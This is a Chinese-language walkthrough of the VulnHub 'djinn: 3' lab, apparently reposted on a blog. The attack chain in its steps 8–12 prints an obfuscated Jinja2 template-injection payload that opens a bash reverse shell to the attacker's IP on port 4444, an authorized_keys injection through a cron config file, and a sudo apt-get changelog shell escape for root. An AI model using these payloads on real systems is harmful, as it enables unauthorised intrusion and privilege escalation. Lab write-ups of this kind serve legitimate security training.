当前位置: 首页 > java >正文

djinn: 3靶场渗透

djinn: 3

来自 <https://www.vulnhub.com/entry/djinn-3,492/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.243

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.243

4,访问80端口的http服务看看

扫描网站存在的子目录

dirsearch -u http://192.168.23.243 -x 403,404

没什么用

5,访问5000端口看看

这是一个任务或问题跟踪列表,常见于项目管理工具(如Jira、GitHub Issues等)。并且提到了一个默认用户guest

 

6,再访问31337端口看看,账户密码均为guest

  1. 网络连接行为

nc 192.168.23.243 31337  # 通过netcat连接目标IP的31337端口
username> guest          # 使用默认用户guest登录
password> guest          # 使用默认密码guest登录成功

  • 31337端口:非常见端口,可能为自定义服务(如隐藏的管理接口或漏洞利用点)。
  • 默认凭证guest:guest 未移除(对应任务列表中的 #4567 未完成)。
  1. 系统特征
  • 自称是「开发中的票务系统」,提示报告问题至 mail@mzfr.me
  • 支持命令行交互(help 查看命令列表)。
  1. 5000端口关联
  • 5000端口通常用于开发环境(如Flask/Django调试模式、Docker注册表)。
  • 结合31337端口的未授权访问,可能形成 横向渗透路径
  • 通过31337端口获取初始权限 → 探测内网5000端口的服务 → 进一步利用漏洞。

攻击面分析:开发环境暴露

  • 5000端口服务推测
  • 运行未授权API(如Swagger UI、GraphQL)。
  • 调试模式开启的Web框架(如Flask debug=True,可能触发RCE)。
  • 利用链示例
    # 通过31337端口获取shell后,探测本地服务
    curl http://localhost:5000/management  # 尝试访问管理接口

 

help看看可以使用的命令

CLI功能与潜在攻击面分析

1. 可用命令解析

  • help:显示菜单,无直接风险。
  • update:更新票务软件(高危操作,可能触发远程代码执行或文件覆盖)。
  • open:创建新工单(可能涉及用户输入注入漏洞)。
  • close:关闭工单(需ID参数,可能存在逻辑漏洞)。
  • exit:退出系统。

2. 初步安全测试方向

  • 命令参数注入(如openclose的参数是否未过滤)。
  • update命令的更新源验证(是否允许任意URL下载或本地路径劫持)。
  • 会话持久化漏洞(如通过工单内容注入恶意代码触发后端解析)

7,对5000端口的服务进行指纹识别扫描

技术指纹分析

1. 服务框架

  • Werkzeug/1.0.1:Python WSGI工具库(常用于Flask开发服务器)。
  • Python 3.6.9:较旧版本(2019年发布),存在潜在漏洞(如CVE-2021-3177)。
  • Bootstrap:前端框架(版本未知,需进一步探测)。

2. 关键特征

  • 无标题页面:可能为未完成的后台接口或调试入口。
  • Server头部泄露:明确暴露技术栈(攻击者可针对性利用)。

3. 服务推测

  • 运行 Flask开发服务器(默认端口5000 + Werkzeug组合)。
  • 可能处于 调试模式(若开启debug=True,存在RCE风险)。

搜索网站技术栈存在的公开exp

searchsploit Werkzeug

下载来看看怎么使用

searchsploit 43905.py -m

漏洞利用没有成功,可能需要手动测试(在31337端口上)

8,这里反弹shell选择bash进行反弹,然后修改payload,在终端上新建票据

{{request|attr("application")|attr("\x5f\x5fglobals\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fbuiltins\x5f\x5f")|attr("\x5f\x5fgetitem\x5f\x5f")("\x5f\x5fimport\x5f\x5f")("os")|attr("popen")("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.182/4444 0>&1'")|attr("read")()}}

然后在访问5000端口开放的http服务,刷新一下出现新的链接进行点击

与此同时kali打开对4444监听

nc -lvvp 4444

成功getshell

9,然后信息收集一下

uname -a

lsb_release -a

发现存在其他用户

发现几个属于有saint用户的文件

讲文件都下载到本地分析

cp /opt/.configuration.cpython-38.pyc /tmp

cp /opt/.syncer.cpython-38.pyc /tmp

cd /tmp

python3 -m http.server 8080

wget http://192.168.23.243:8080/.configuration.cpython-38.pyc

wget http://192.168.23.243:8080/.syncer.cpython-38.pyc 

然后拖到浏览器里面进行在线反编译

syncer.cpython-38.py

# Visit 在线Python pyc文件编译与反编译 for more information

# Version : Python 3.8

import os

import sys

import json

from glob import glob

from datetime import datetime as dt

class ConfigReader:

    config = None

   

    def read_config(path):

        '''Reads the config file

        '''

        config_values = { }

    # WARNING: Decompyle incomplete

    read_config = staticmethod(read_config)

   

    def set_config_path():

        '''Set the config path

        '''

        files = glob('/home/saint/*.json')

        other_files = glob('/tmp/*.json')

        files = files + other_files

       

        try:

            if len(files) > 2:

                files = files[:2]

            file1 = os.path.basename(files[0]).split('.')

            file2 = os.path.basename(files[1]).split('.')

            if file1[-2] == 'config' and file2[-2] == 'config':

                a = dt.strptime(file1[0], '%d-%m-%Y')

                b = dt.strptime(file2[0], '%d-%m-%Y')

            if b < a:

                filename = files[0]

            else:

                filename = files[1]

        finally:

            pass

        except Exception:

            sys.exit(1)

       

        return filename

    set_config_path = staticmethod(set_config_path)

configuration.cpython-38.py

# Visit 在线Python pyc文件编译与反编译 for more information

# Version : Python 3.8

from configuration import *

from connectors.ftpconn import *

from connectors.sshconn import *

from connectors.utils import *

def main():

    '''Main function

    Cron job is going to make my work easy peasy

    '''

    configPath = ConfigReader.set_config_path()

    config = ConfigReader.read_config(configPath)

    connections = checker(config)

    if 'FTP' in connections:

        ftpcon(config['FTP'])

    elif 'SSH' in connections:

        sshcon(config['SSH'])

    elif 'URL' in connections:

        sync(config['URL'], config['Output'])

if __name__ == '__main__':

    main()

10,根据这两个python程序的源码,在/tmp下新建一个文件,文件名字为29-06-2020.config.json,内容如下,本地服务器的authorized_keys文件的内容是使用ssh-keygen生成的id_rsa.pub文件内容

cat > /tmp/29-06-2020.config.json << 'EOF'

{

    "URL": "http://192.168.23.182/authorized_keys",

    "Output": "/home/saint/.ssh/authorized_keys"

}

EOF

所以前提条件是还需要生成kali的公钥authorized_keys

ssh-keygen

ls -la .ssh

cp .ssh/id_ed25519.pub authorized_keys

然后python开启一个http服务

python -m http.server 80

应该是公钥注入成功了ssh登录尝试一下

ssh saint@192.168.23.243

登录成功,巧妙的公钥注入!

11,信息收集,看看怎么提权

创造出来一个假root用户,跟root同属一个用户组

sudo /usr/sbin/adduser -gid 0 r00t

因为是假用户使用没有真root权限

查看sudoers文件还有哪些用户可以使用sudo执行命令

发现一个jason用户,但是这个用户并不存在,但是我们是可以新建这个用户,盗用它的sudo操作

exit

sudo /usr/sbin/adduser -gid 0 jason

12,因为jason用户允许在密码验证后使用sudo命令以root权限执行apt-get命令,而密码是我设置的。由此查看提权操作

sudo apt-get changelog apt

在终端输入

!/bin/sh

最后成功get flag

sh /root/proof.sh

http://www.xdnf.cn/news/4988.html

相关文章:

  • 城市客运安全员备考练习题
  • 4.3java工具类Objects,Arrays
  • PMIC电源管理模块的PCB设计
  • 124549-23-1,PBFI AM,测定细胞内区隔的钾离子水平变化
  • 全球实物文件粉碎服务市场洞察:合规驱动下的安全经济与绿色转型
  • 2022-2025年全国路网数据分享
  • C++AVL树
  • 计算机二级(C语言)已过
  • HarmonyOS开发-组件市场
  • 提升研发运维效能:Pacvue 泊客电商的 GenAI 技术实践
  • 从0开始学linux韦东山教程第一三章问题小结(1)
  • wsl - install RabbiqMQ
  • 2025数维杯数学建模C题完整分析参考论文(共36页)(含模型、可运行代码、数据)
  • 【Python】超全常用 conda 命令整理
  • 【深度学习新浪潮】智能追焦技术全解析:从算法到设备应用
  • MATLAB制作柱状图与条图:数据可视化的基础利器
  • Android 项目中配置了多个 maven 仓库,但依赖还是下载失败,除了使用代理,还有其他方法吗?
  • LLM 推理加速:深度解析 Prefilling 与 Decoding 阶段的优化秘籍
  • YOLOv1模型架构、损失值、NMS极大值抑制
  • 从设计到开发,原型标注图全流程标准化
  • 学习DLT698进阶二,电表的事件
  • 基于 Ubuntu 24.04 部署 WebDAV
  • window 显示驱动开发-配置内存段类型
  • Jenkins linux安装
  • 【一】浏览器的copy as fetch和copy as bash的区别
  • 解决:EnvironmentNameNotFound: Could not find conda environment?
  • 深入解析Docker底层原理:从Namespace到联合文件系统
  • 使用SVM进行图像分类
  • 每天五分钟深度学习框架pytorch:视觉工具包torchvison
  • 浏览器节能机制导致Websocket断连的坑